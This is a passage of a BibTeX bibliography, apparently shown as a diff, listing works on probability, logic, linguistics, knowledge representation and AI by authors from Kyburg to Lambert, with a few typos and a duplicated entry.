Connecticut}, + topic = {foundations-of-probability;} + } + +@book{ kyburg_he-smokler:1964a, + editor = {Henry E. {Kyburg, Jr.} and Howard E. Smokler}, + title = {Studies in Subjective Probability}, + publisher = {John Wiley and Sons}, + year = {1964}, + address = {New York}, + topic = {subjective-probability;foundations-of-probability;} + } + +@article{ kyburg_he:1966a, + author = {Henry E. {Kyburg, Jr.}}, + title = {Probability and Decision}, + journal = {Philosophy of Science}, + year = {1966}, + volume = {33}, + number = {3}, + pages = {250--261}, + topic = {foundations-of-probability;decision-theory;} + } + +@incollection{ kyburg_he:1970a, + author = {Henry E. {Kyburg, Jr.}}, + title = {Conjunctivitis}, + booktitle = {Induction, Acceptance, and Rational Belief}, + publisher = {D. Reidel Publishing Co.}, + year = {1970}, + editor = {Marshall Swain}, + pages = {55--82}, + address = {Dordrecht}, + topic = {lottery-paradox;} + } + +@article{ kyburg_he:1976a, + author = {Henry E. {Kyburg, Jr.}}, + title = {Chance}, + journal = {Journal of Philosophical Logic}, + year = {1976}, + volume = {5}, + number = {3}, + pages = {355--393}, + topic = {foundations-of-probability;} + } + +@article{ kyburg_he:1976b, + author = {Henry E. {Kyburg, Jr.}}, + title = {Chance}, + journal = {Journal of Philosophical Logic}, + year = {1976}, + volume = {5}, + number = {3}, + pages = {355--393}, + topic = {foundations-of-probability;} + } + +@book{ kyburg_he:1983a, + author = {Henry E. {Kyburg, Jr.}}, + title = {Epistemology and Inference}, + publisher = {University of Minnesota Press}, + year = {1983}, + address = {Minneapolis}, + ISBN = {0816611491}, + topic = {foundations-of-probability;statistical-inference; + foundations-of-belief;} + } + +@incollection{ kyburg_he:1983b, + author = {Henry E. {Kyburg, Jr.}}, + title = {Subjective Probability: Criticisms, Reflections, and + Problems}, + booktitle = {Epistemology and Inference}, + editor = {Henry E. {Kyburg, Jr.}}, + publisher = {University of Minnesota Press}, + year = {1983}, + pages = {79--98}, + address = {Minneapolis}, + topic = {foundations-of-probability;} + } + +@unpublished{ kyburg_he:1985a, + author = {Henry E. {Kyburg, Jr.}}, + title = {Representing Knowledge and Evidence for Decision}, + year = {1985}, + note = {Unpublished manuscript, Philosophy Department, + University of Rochester.}, + missinginfo = {Year is a guess.}, + topic = {foundations-of-decision-theory;} + } + +@article{ kyburg_he:1987a, + author = {Henry E. {Kyburg, Jr.}}, + title = {Bayesian and Non-{B}ayesian Evidential Updating}, + journal = {Artificial Intelligence}, + year = {1987}, + volume = {31}, + number = {3}, + pages = {271--293}, + topic = {probability-kinematics;Dempster-Shafer-theory;} + } + +@incollection{ kyburg_he:1988a, + author = {Henry E. {Kyburg, Jr.}}, + title = {Powers}, + booktitle = {Causation in Decision, Belief Change, and Statistics, + Vol. 2}, + publisher = {Kluwer Academic Publishers}, + year = {1988}, + editor = {William L. Harper and Brian Skyrms}, + pages = {71--82}, + address = {Dordrecht}, + topic = {causality;reasoning-about-uncertainty;probability;dominance;} + } + +@article{ kyburg_he:1988b, + author = {Henry E. {Kyburg, Jr.}}, + title = {Review of {\it Abstract Measurement Theory}, + by {L}ouis {N}arens}, + journal = {Synth\'ese}, + year = {1988}, + volume = {76}, + number = {1}, + pages = {179--182}, + xref = {Review of narens:1988a.}, + topic = {measurement-in-behavioral-science;measurement-theory;} + } + +@techreport{ kyburg_he:1996a, + author = {Henry E. {Kyburg, Jr.}}, + title = {Combinatorial Semantics: Semantics for Frequent Validity}, + institution = {Department of Computer Science, University of + Rochester}, + number = {563}, + year = {1996}, + address = {Rochester, New York}, + topic = {probability-semantics;} + } + +@incollection{ kyburg_he:1996b, + author = {Henry E. {Kyburg, Jr.}}, + title = {Dennett's Beer}, + booktitle = {The Robot's Dilemma Revisited: The Frame Problem + in Artificial Intelligence}, + publisher = {Ablex Publishing Co.}, + year = {1996}, + editor = {Kenneth M. Ford and Zenon Pylyshyn}, + pages = {49--60}, + address = {Norwood, New Jersey}, + topic = {frame-problem;} + } + +@article{ kyburg_he:1997a, + author = {Henry E. {Kyburg, Jr.}}, + title = {Combinatorial Semantics: Semantics for Frequent Validity}, + journal = {Computational Intelligence}, + year = {1997}, + volume = {13}, + number = {2}, + pages = {215--257}, + topic = {nonmonotonic-logic;probability-semantics;} + } + +@article{ kyburg_he:1997b, + author = {Henry E. {Kyburg, Jr.}}, + title = {The Rule of Adjunction and Reasonable Inference}, + journal = {Journal of Philosophy}, + year = {1997}, + volume = {94}, + number = {3}, + pages = {109--125}, + topic = {lottery-paradox;Simpson-paradox;conjunction;} + } + +@incollection{ kyburg_he:1998a, + author = {Henry E. {Kyburg, Jr.}}, + title = {Families of Probabilities}, + booktitle = {Handbook of Defeasible Reasoning and Uncert`swiainty + Management Systems, Volume 1: Quantified Representation + of Uncertainty and Imprecision}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Dov M. Gabbay and Philippe Smets}, + pages = {227--245}, + address = {Dordrecht}, + topic = {relaxations-of-classical-probability;} + } + +@article{ kyburg_he:2000a, + author = {Henry E. {Kyburg, Jr.}}, + title = {Review of {\it Rethinking the Foundations of + Statistics}, edited by {J}oseph {B}. {K}adane and + {M}ark {J}. {S}chervish and {T}eddy {S}eidenfeld}, + journal = {The Journal of Philosophy}, + year = {2000}, + volume = {97}, + number = {5}, + pages = {677--680}, + topic = {foundations-of-statistics;Bayesian-statistics;} + } + +@incollection{ labov:1971a, + author = {William Labov}, + title = {Methodology}, + booktitle = {A Survey of Linguistic Science}, + publisher = {Privately Published, Linguistics Program, University of + Maryland.}, + year = {1971}, + editor = {William Orr Dingwall}, + pages = {412--497}, + address = {College Park, Maryland}, + topic = {philosophy-of-linguistics;sociolinguistics;} + } + +@book{ labov:1972a, + author = {William Labov}, + title = {Sociolinguistic Patterns}, + publisher = {University of Pennsylvania Press}, + year = {1972}, + address = {Philadelphia}, + contentnote = {Apparently contains the famous study on unreliability + of introspective methods.}, + topic = {sociolinguistics;} + } + +@incollection{ labov:1974a, + author = {William Labov}, + title = {The Boundaries of Words and Their Meanings}, + booktitle = {New Ways of Analyzing Variation in {E}nglish}, + publisher = {Georgetown University Press}, + year = {1974}, + editor = {Ralph Fasold and Roger Schuy}, + pages = {340--373}, + address = {Washington, DC}, + topic = {vagueness;} + } + +@book{ labov-fanshel:1977a, + author = {William Labov and D. Fanshel}, + title = {Therapeutic Discourse: Psychotherapy as Conversation}, + publisher = {Academic Press}, + year = {1977}, + address = {New York}, + topic = {discourse-analysis;text-linguistics;discourse; + sociolinguistics;pragmatics;} + } + +@article{ lachman:1998a, + author = {Roy Lachman}, + title = {{AI}, Decision Science, and Psychological Theory + in Decisions about People}, + journal = {{AI} Magazine}, + year = {1998}, + volume = {19}, + number = {1}, + pages = {110--129}, + topic = {decision-analysis;qualitative-utility;expert-systems; + psychological-reality;} + } + +@book{ ladd:1980a, + author = {D. Robert Ladd}, + title = {The Structure of Intonational Meaning: Evidence from + {E}nglish}, + publisher = {Indiana University Linguistics Club}, + year = {1980}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {nl-semantics;intonation;} + } + +@book{ ladd:1996a, + author = {D. Robert Ladd}, + title = {Intonational Phonology}, + publisher = {Cambridge University Press}, + year = {1996}, + address = {Cambridge, England}, + topic = {intonation;} + } + +@article{ ladkin-reinefeld:1992a, + author = {Peter B. Ladkin and Alexander Reinefeld}, + title = {Effective Solution of Qualitative Interval Constraint + Problems}, + journal = {Artificial Intelligence}, + year = {1992}, + volume = {57}, + number = {1}, + pages = {105--124}, + topic = {temporal-reasoning;constraint-satisfaction;interval-logic;} + } + +@article{ ladner:1977a, + author = {Richard E. Ladner and Johjn H. Reif}, + title = {The Computational Complexity of Provability in Systems of + Modal Propositional Logic}, + journal = {{SIAM} Journal on Computing}, + year = {1977}, + volume = {6}, + number = {3}, + pages = {467--480}, + topic = {modal-logic;algorithmic-complexity;} + } + +@inproceedings{ ladner-reif:1986a, + author = {Richard E. Ladner and Johjn H. Reif}, + title = {The Logic of Distributed Protocols (Preliminary Report)}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the First Conference}, + year = {1986}, + editor = {Joseph Y. Halpern}, + pages = {207--222}, + publisher = {Morgan Kaufmann Publishers, Inc.}, + address = {Los Altos, California}, + topic = {epistemic-logic;distributed-systems;} + } + +@book{ ladusaw:1980a, + author = {William Ladusaw}, + title = {Polarity Sensitivity as Inherent Scope Relations}, + publisher = {Indiana University Linguistics Club}, + year = {1980}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {nl-semantics;polarity;polarity-sensitivity;nl-quantifier-scope;} + } + +@article{ ladusaw:1983a, + author = {William A. Ladusaw}, + title = {Logical Form and Conditions on Grammaticality}, + journal = {Linguistics and Philosophy}, + year = {1983}, + volume = {6}, + number = {3}, + pages = {373--392}, + topic = {extended-std-theory;logical-form;} + } + +@techreport{ ladusaw:1985a, + author = {William Ladusaw}, + title = {A Proposed Distinction between Levels and Strata}, + institution = {Syntax Research Center, Cowell College, University + of California at Santa Cruz}, + number = {SRC--85--04}, + year = {1985}, + address = {Santa Cruz, California}, + topic = {syntax;foundations-of-syntax;} + } + +@incollection{ ladusaw-dowty:1988a, + author = {William Ladusaw and David Dowty}, + title = {Toward a Nongrammatical Account of Thematic Roles}, + booktitle = {Thematic Relations}, + publisher = {Academic Press}, + year = {1988}, + editor = {Wendy W. Wilkins}, + pages = {61--73}, + address = {San Diego, California}, + topic = {thematic-roles;} + } + +@inproceedings{ ladusaw:1994a, + author = {William A. Ladusaw}, + title = {Thetic and Categorial, Stage and Individual, Weak + and Strong}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {IV}}, + year = {1994}, + editor = {Mandy Harvey and Lynn Santelmann}, + pages = {220--229}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {nl-semantics;i-level/s-level;existential-constructions;} + } + +@incollection{ ladusaw:1996a, + author = {William A. Ladusaw}, + title = {Negation and Polarity Items}, + booktitle = {The Handbook of Contemporary Semantic Theory}, + publisher = {Blackwell Publishers}, + year = {1996}, + address = {Oxford}, + editor = {Shalom Lappin}, + pages = {321--341}, + topic = {nl-semantics;nl-negation;polarity;} + } + +@article{ laenans-vermeir:1990a, + author = {E. Laenans and D. Vermeir}, + title = {A Fixpoint Semantics for Ordered Logic}, + journal = {Journal of Logic and Computation}, + year = {1990}, + volume = {1}, + number = {2}, + pages = {159--185}, + missinginfo = {A's 1st name}, + topic = {logic-programming;} + } + +@inproceedings{ lafage-lang:2000a, + author = {C\'eline Lafage and J\'er\^ome Lang}, + title = {Logical Representation of Preferences for Group + Decision Making}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {457--468}, + topic = {social-choice-theory;prefence-representation;} + } + +@article{ lafollette_h-shanks:1993a, + author = {Hugh {LaFollette} and Niall Shanks}, + title = {Belief and the Basis of Humor}, + journal = {American Philosophical Quarterly}, + volume = {30}, + number = {4}, + year = {1993}, + pages = {329--339}, + topic = {humor2;} + } + +@book{ lafollette_mc:1984a, + editor = {Marcel C. La Follette}, + title = {Creationism, Science, and the Law: The {A}rkansas + Case}, + publisher = {The {MIT} Press}, + year = {1984}, + address = {Cambridge, Massachusetts}, + topic = {creationism;} + } + +@book{ lafont_c:2000a, + author = {Cristina Lafont}, + title = {The Linguistic Turn in Hermaneutic Philosophy}, + publisher = {The {MIT} Press}, + year = {2000}, + address = {Cambridge, Massachusetts}, + note = {Translated by Jos\'e Medina.}, + ISBN = {0-262-12217-0}, + topic = {continental-philosophy;pragmatics;philosophy-of-language;} + } + +@article{ lafont_y:1997a, + author = {Yves Lafont}, + title = {The Finite Model Property for Various Fragments of Linear + Logic}, + journal = {Journal of Symbolic Logic}, + year = {1997}, + volume = {62}, + pages = {1202--1208}, + number = {4}, + topic = {linear-logic;finite-model-property;} + } + +@article{ laforte-etal:1998a, + author = {Geoffrey LaForte and Patrick J. Hayes and Kenneth M. Ford}, + title = {Why G\"odel's Theorem Cannot Refute Computationalism}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {104}, + number = {1--2}, + pages = {265--286}, + topic = {philosophy-of-computation;goedels-first-theorem; + foundations-of-cognition;} + } + +@book{ lahiri-wyner:1993a, + editor = {Utpal Lahiri and Zachary Wyner}, + title = {Proceedings from Semantics and Linguistic Theory + {III}}, + publisher = {Cornell University}, + year = {1993}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {nl-semantics;} + } + +@inproceedings{ lahiri:1995a, + author = {Utpal Lahiri}, + title = {Negative Polarity in {H}indi}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {V}}, + year = {1995}, + editor = {Mandy Simons and Teresa Galloway}, + pages = {168--185}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {sentence-focus;polarity;Hindi-language;pragmatics;} + } + +@article{ lahiri:1997a, + author = {Utpal Lahiri}, + title = {Focus and Negative Polarity in {H}indi}, + journal = {Natural Language Semantics}, + year = {1997}, + volume = {6}, + number = {1}, + pages = {57--123}, + topic = {sentence-focus;polarity;Hindi-language;pragmatics;} + } + +@article{ lahiri:2000a, + author = {Utpal Lahiri}, + title = {Lexical Selection and Quantificational Variability in + Embedded Interrogatives}, + journal = {Linguistics and Philosophy}, + year = {2000}, + volume = {23}, + number = {4}, + pages = {325--389}, + topic = {interrogatives;nl-quantifiers;nl-semantics;} + } + +@book{ laird-etal:1986a, + author = {John Laird and Paul Rosenbloom and Allen Newell}, + title = {Universal Subgoaling and Chunking: The Automatic Generation and + Learning of Goal Hierarchies}, + publisher = {Kluwer Academic Publishers}, + year = {1986}, + address = {Dordrecht}, + ISBN = {0898382130}, + xref = {Review: shrager:1987a}, + topic = {machine-learning;planning;cognitive-architectures;} + } + +@article{ laird-etal:1987a, + author = {John E. Laird and Allen Newell and Paul S. Rosenbloom}, + title = {SOAR: an architecture for general intelligence}, + journal = {Artificial Intelligence}, + year = {1987}, + volume = {33}, + number = {1}, + pages = {1--64}, + topic = {cognitive-architectures;SOAR;} + } + +@incollection{ laird-rosenbloom:1996a, + author = {John E. Laird and Paul Rosenbloom}, + title = {The Evolution of the {S}oar Cognitive Architecture}, + booktitle = {Mind Matters: A Tribute to {A}llen {N}ewell}, + publisher = {Lawrence Erlbaum Associates, Inc.}, + year = {1996}, + editor = {David M. Steier and Tom M. Mitchell}, + address = {Mahwah, New Jersey}, + pages = {1--50}, + topic = {cognitive-architectures;SOAR;} + } + +@article{ laird-vanlent:2001a, + author = {John Laird and Michael Van Lent}, + title = {Human-Level {AI}'s Killer Application: Interactive + Computer Games}, + journal = {The {AI} Magazine}, + year = {2000}, + volume = {22}, + number = {2}, + pages = {15--25}, + topic = {AI-editorial;computer-games;} + } + +@inproceedings{ laita-etal:1998a, + author = {L.M. Laita and E. Roanes-Lozano and Y. Maojo}, + title = {Inference and Verification in Medical Appropriateness Criteria + Using {G}r\"obner Bases}, + booktitle = {Artificial Intelligence and Symbolic Computation: + Proceedings of {AISC'98}}, + year = {1998}, + editor = {Jacques Calmet and Jan Plaza}, + pages = {183--194}, + publisher = {Springer Verlag}, + address = {Berlin}, + topic = {automated-algebra;theorem-proving;} + } + +@inproceedings{ lakemeyer:1986a, + author = {Gerhard Lakemeyer}, + title = {Steps Towards a First-Order Logic of Explicit and Implicit + Belief}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the First Conference}, + year = {1986}, + editor = {Joseph Y. Halpern}, + pages = {325--340}, + publisher = {Morgan Kaufmann Publishers, Inc.}, + address = {Los Altos, California}, + topic = {hyperintensionality;epistemic-logic;belief;} + } + +@inproceedings{ lakemeyer-levesque:1988a, + author = {Gerhard Lakemeyer and Hector J. Levesque}, + title = {A Tractable Knowledge Representation Service with Full + Introspection}, + booktitle = {Proceedings of the Second Conference on Theoretical + Aspects of Reasoning about Knowledge}, + year = {1988}, + editor = {Moshe Y. Vardi}, + pages = {145--159}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {knowledge-representation;complexity-in-AI; + tractable-logics;epistemic-logic;} + } + +@inproceedings{ lakemeyer:1992a, + author = {Gerhard Lakemeyer}, + title = {Tractable Meta-Reasoning in Propositional Logics of Belief}, + booktitle = {Proceedings of the Tenth International Joint + Conference on Artificial Intelligence}, + year = {1987}, + editor = {John McDermott}, + pages = {402--408}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + topic = {epistemic-logic;} + } + +@incollection{ lakemeyer:1992b, + author = {Gerhard Lakemeyer}, + title = {On Perfect Introspection with Quantifying-In}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fourth Conference ({TARK} 1992)}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Yoram Moses}, + pages = {199--213}, + address = {San Francisco}, + topic = {epistemic-logic;} + } + +@incollection{ lakemeyer:1992c, + author = {Gerhard Lakemeyer}, + title = {All You Ever Wanted to Know about {T}weety (But Were + Afraid to Ask)}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {639--648}, + address = {San Mateo, California}, + topic = {kr;epistemic-logic;nonmonotonic-logic;} + } + +@inproceedings{ lakemeyer:1993a, + author = {Gerhard Lakemeyer}, + title = {All They Know: A Study in Autoepistemic Logic}, + booktitle = {Proceedings of the Thirteenth International Joint + Conference on Artificial Intelligence}, + year = {1993}, + editor = {Ruzena Bajcsy}, + pages = {376--381}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {nonmonotonic-reasoning;reasoning-about-knowledge;} + } + +@article{ lakemeyer:1994a, + author = {Gerhard Lakemeyer}, + title = {Limited Reasoning in First-Order Knowledge Bases}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {71}, + number = {2}, + pages = {213--255}, + topic = {belief;epistemic-logic;hyperintensionality;} + } + +@incollection{ lakemeyer-meyer:1994a, + author = {Gerhard Lakemeyer and Susanne Meyer}, + title = {Enhancing the Power of a Decidable First-Order Reasoner}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {403--413}, + address = {San Francisco, California}, + topic = {kr;theorem-proving;complexity-in-AI;kr-course;} + } + +@book{ lakemeyer-nebel:1994b, + editor = {Gerhard Lakemeyer and Bernhard Nebel}, + title = {Foundations of Knowledge Representation and Reasoning}, + publisher = {Springer-Verlag}, + year = {1994}, + address = {Berlin}, + ISBN = {0387581073}, + topic = {kr;} + } + +@inproceedings{ lakemeyer:1995a, + author = {Gerhard Lakemeyer}, + title = {A Logical Account of Relevance}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {853--861}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {kr;relevance;} + } + +@incollection{ lakemeyer:1995b, + author = {Gerhard Lakemeyer}, + title = {Relevance in a Logic of Only Knowing about and Its + Axiomatization}, + booktitle = {Knowledge and Belief in Philosophy and Artificial + Intelligence}, + publisher = {Akedemie Verlag}, + year = {1995}, + editor = {Armin Laux and Heinrich Wansing}, + pages = {163--173}, + address = {Berlin}, + topic = {autoepistemic-logic;relevance;} + } + +@incollection{ lakemeyer:1996a, + author = {Gerhard Lakemeyer}, + title = {Only Knowing in the Situation Calculus}, + booktitle = {{KR}'96: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {14--25}, + address = {San Francisco, California}, + topic = {kr;reasoning-about-knowledge;autoepistemic-logic; + situation-calculus;action-formalisms;} + } + +@article{ lakemeyer:1996b, + author = {Gerhard Lakemayer}, + title = {Limited Reasoning in First-Order Knowledge Bases + With Full Introspection}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {84}, + number = {1--2}, + pages = {209--255}, + topic = {tractable-logics;epistemic-logics;} + } + +@article{ lakemeyer:1997a, + author = {Gerhard Lakemeyer}, + title = {Relevance from an Epistemic Perspective}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {97}, + number = {1--2}, + pages = {137--167}, + topic = {relevance;epistemic-logic;} + } + +@incollection{ lakemeyer-levesque:1998a, + author = {Gerhard Lakemeyer and Hector J. Levesque}, + title = {${\cal AOL}$ A Logic of Acting, Sensing, Knowing, + and Only Knowing}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {316--327}, + address = {San Francisco, California}, + topic = {kr;action-logic;sensing-formalisms;autoepistemic-logic; + kr-course;} + } + +@incollection{ lakemeyer-levesque:2002a, + author = {Gerhard Lakemeyer and Hector J. Levesque}, + title = {Evaluation-Based Reasoning with Disjunctive Information + in First-Order Knowledge Bases}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {73--82}, + address = {San Francisco, California}, + topic = {kr;complexity-in-AI;query-evaluation;} + } + +@book{ lakemeyer-nebel:2002a, + editor = {Gerhard Lakemeyer and Berhard Nebel}, + title = {Exploring Artificial Intelligence in the New Millenium}, + publisher = {Morgan Kaufman}, + year = {200}, + address = {San Francisco}, + ISBN = {1--55860-811-7}, + topic = {AI-survey;} + } + +@techreport{ lakoff_g:1965a, + author = {George Lakoff}, + title = {On the Nature of Syntactic Irreguarity}, + institution = {The Computation Laboratory of Harvard University}, + number = {NSF-16}, + year = {1965}, + address = {Cambridge, Massachusetts}, + topic = {syntax;irregularity;} + } + +@incollection{ lakoff_g:1971a, + author = {George Lakoff}, + title = {Presupposition and Relative Well-Formedness}, + booktitle = {Semantics: An Interdisciplinary Reader in Philosophy, + Linguistics, and Psychology}, + publisher = {Cambridge University Press}, + year = {1971}, + editor = {Danny D. Steinberg and Leon A. Jacobovits}, + pages = {329--340}, + address = {Cambridge, England}, + topic = {presupposition;pragmatics;} + } + +@incollection{ lakoff_g:1971b, + author = {George Lakoff}, + title = {On Generative Semantics}, + booktitle = {Semantics: An Interdisciplinary Reader in Philosophy, + Linguistics, and Psychology}, + publisher = {Cambridge University Press}, + year = {1971}, + editor = {Danny D. Steinberg and Leon A. Jacobovits}, + pages = {232--296}, + address = {Cambridge, England}, + topic = {generative-semantics;} + } + +@incollection{ lakoff_g:1972a, + author = {George Lakoff}, + title = {Linguistics and Natural Logic}, + booktitle = {Semantics of Natural Language}, + publisher = {D. Reidel Publishing Co.}, + year = {1972}, + editor = {Donald Davidson and Gilbert H. Harman}, + pages = {545--665}, + address = {Dordrecht}, + topic = {nl-semantics;generative-semantics;} + } + +@article{ lakoff_g:1973a, + author = {George Lakoff}, + title = {Hedges: A Study in Meaning Criteria and the Logic + of Fuzzy Concepts}, + journal = {Journal of Philosophical Logic}, + year = {1973}, + volume = {2}, + number = {4}, + pages = {458--508}, + topic = {vagueness;} + } + +@incollection{ lakoff_g:1975a, + author = {George Lakoff}, + title = {Pragmatics in Natural Logic}, + booktitle = {Formal Semantics of Natural Language}, + publisher = {Cambridge University Press}, + year = {1975}, + editor = {Edward L. Keenan}, + pages = {253--286}, + address = {Cambridge, England}, + topic = {pragmatics;generative-semantics;} + } + +@book{ lakoff_g-johnson:1980a, + author = {George Lakoff and Mark Johnson}, + title = {Metaphors We Live By}, + publisher = {Chicago : University of Chicago Press}, + year = {1980}, + address = {Chicago}, + ISBN = {0226468003}, + topic = {metaphors;connectionism;} + } + +@book{ lakoff_g:1987a, + author = {George Lakoff}, + title = {Women, Fire, and Dangerous Things: What Categories Reveal + about the Mind}, + publisher = {Chicago : University of Chicago Press}, + year = {1987}, + address = {Chicago}, + ISBN = {0226468038}, + xref = {Review: weld:1988a.}, + topic = {connectionism;foundations-of-semantics;} + } + +@incollection{ lakoff_g:1993a, + author = {George Lakoff}, + title = {The Syntax of Metaphorical Semantic Roles}, + booktitle = {Semantics and the Lexicon}, + publisher = {Kluwer Academic Publishers}, + year = {1993}, + editor = {James Pustejovsky}, + pages = {27--36}, + address = {Dordrecht}, + topic = {thematic-roles;metaphor;pragmatics;} + } + +@book{ lakoff_g-johnson:1999a, + author = {George Lakoff and Mark Johnson}, + title = {Philosophy In The Flesh: The Embodied Mind and Its + Challenge to {W}estern Thought}, + publisher = {Basic Books}, + year = {1999}, + address = {New York}, + ISBN = {0465056733}, + xref = {Review: sowa:1999a.}, + topic = {embodiment;metaphor;pragmatics;} + } + +@book{ lakoff_g-nunez:2000a, + author = {George Lakoff and Rafael E. Nunez}, + title = {Where Mathematics Comes From: How the Embodied Mind Brings + Mathematics into Being}, + publisher = {Basic Books}, + year = {2000}, + address = {New York}, + ISBN = {0465037704}, + topic = {embodiment;philosophy-of-mathematics;} + } + +@article{ lakoff_g:2001a, + author = {George Lakoff}, + title = {Review of {\it The {MIT} Encyclopedia of the Cognitive + Sciences,} edited by {R}obert {A}. {W}ilson and {F}rank {C}. {K}eil}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {130}, + number = {2}, + pages = {195--209}, + xref = {Review of: wilson_ra-keil:1999a.}, + topic = {cognitive-science-general;cognitive-science-survey; + embodiment;} + } + +@inproceedings{ lakoff_r:1974a, + author = {Robin Lakoff}, + title = {Remarks on {\it this} and {\it that}}, + booktitle = {Papers from the Tenth Regional Meeting of the + {Chicago} Linguistic Society}, + year = {1974}, + editor = {Michael LaGaly and Robert A. Fox and Anthony Bruck}, + organization = {Chicago Linguistic Society}, + publisher = {Chicago Linguistic Society}, + address = {Goodspeed Hall, 1050 East 59th Street, Chicago, Illinois}, + pages = {345--356}, + topic = {demonstratives;pragmatics;} + } + +@article{ lam-yeap_wk:1992a, + author = {F.C. Lam and Wai Kiang Yeap}, + title = {Bayesian Updating: On the Interpretation of Exhaustive and + Mutually Exclusive Assumptions}, + journal = {Artificial Intelligence}, + year = {1992}, + volume = {53}, + number = {2--3}, + pages = {245--254}, + topic = {bayesian-reasoning;} + } + +@inproceedings{ lamarche-retore:1996a, + author = {F. Lamarche and Christian Retore}, + title = {Proof Nets for the {L}ambek Calculus---An + Overview}, + booktitle = {Proofs and Linguistic Categories, Proceedings + of the 1996 Roma Workshop}, + year = {1996}, + editor = {V.M. Abrusci and C. Casadio}, + pages = {241--262}, + publisher = {Cooperativa Libraria Universitara Editrice Bologna}, + address = {Bologna}, + missinginfo = {A's 1st name}, + topic = {proof-nets;Lambek-calculus;} + } + +@book{ lamarque:1996a, + author = {Peter Lamarque}, + title = {Fictional Points of View}, + publisher = {Cornell University Press}, + year = {1996}, + address = {Ithaca, New York}, + xref = {Review: hopkins:1998a.}, + topic = {fiction;fictional-characters;philosophy-of-literature;} + } + +@incollection{ lamarre:1991a, + author = {Philippe Lamarre}, + title = {S4 as the Conditional Logic of Nonmonotonicity}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {357--367}, + address = {San Mateo, California}, + topic = {kr;kr-course;nonmonotonic-logic;modal-logic;} + } + +@inproceedings{ lamarre-shoham_y1:1994a, + author = {Phillipe Lamarre and Yoav Shoham}, + title = {Knowledge, Certainty, Belief, and Conditionalization}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + year = {1994}, + editor = {J. Doyle and E. Sandewall and P. Torasso}, + publisher = {Morgan Kaufmann}, + pages = {415--424}, + topic = {kr;epistemic-logic;kr-course;belief;belief-update;} + } + +@book{ lamb:1988a, + author = {David Lamb}, + title = {Down the Slippery Slope}, + publisher = {Croom Helm}, + year = {1988}, + address = {London}, + topic = {vagueness;} + } + +@article{ lambek-scott_pj:1981a, + author = {J. Lambek and P.J. Scott}, + title = {Intuitionist Type Theory and Foundations}, + journal = {Journal of Philosophical Logic}, + year = {1981}, + volume = {10}, + number = {1}, + pages = {101--115}, + topic = {intuitionistic-logic;foundations-of-intuitionistic-logic; + higher-order-logic;} + } + +@article{ lambek:1997a, + author = {J. Lambek}, + title = {Programs, Grammars, and Arguments: A Personal View of + Some Connections Between Computation, Language and Logic}, + journal = {The Bulletin of Symbolic Logic}, + year = {1997}, + volume = {3}, + number = {3}, + pages = {312--311}, + topic = {lambda-calculus;Lambek-calculus;} + } + +@incollection{ lambert:1996a, + author = {Karel Lambert}, + title = {Russellian Names: Notes on a Theory of {A}rthur + {P}rior}, + booktitle = {Logic and Reality: Essays on the Legacy of {A}rthur + {P}rior}, + publisher = {Oxford University Press}, + year = {1996}, + editor = {Jack Copeland}, + pages = {411--417}, + address = {Oxford}, + topic = {Russell;proper-names;} + } + +@book{ lambert_k:1969a, + editor = {Karel Lambert}, + title = {Philosophical Problems in Logic: Some Recent Developments}, + publisher = {D. Reidel Publishing Co.}, + year = {1969}, + address = {Dordrecht}, + xref = {Review: cresswell_mj:1990a.}, + topic = {philosophical-logic;} + } + +@article{ lambert_k:1972a, + author = {Karel Lambert}, + title = {Notes on Free Description Theory: Some Philosphical + Issues and Consequences}, + journal 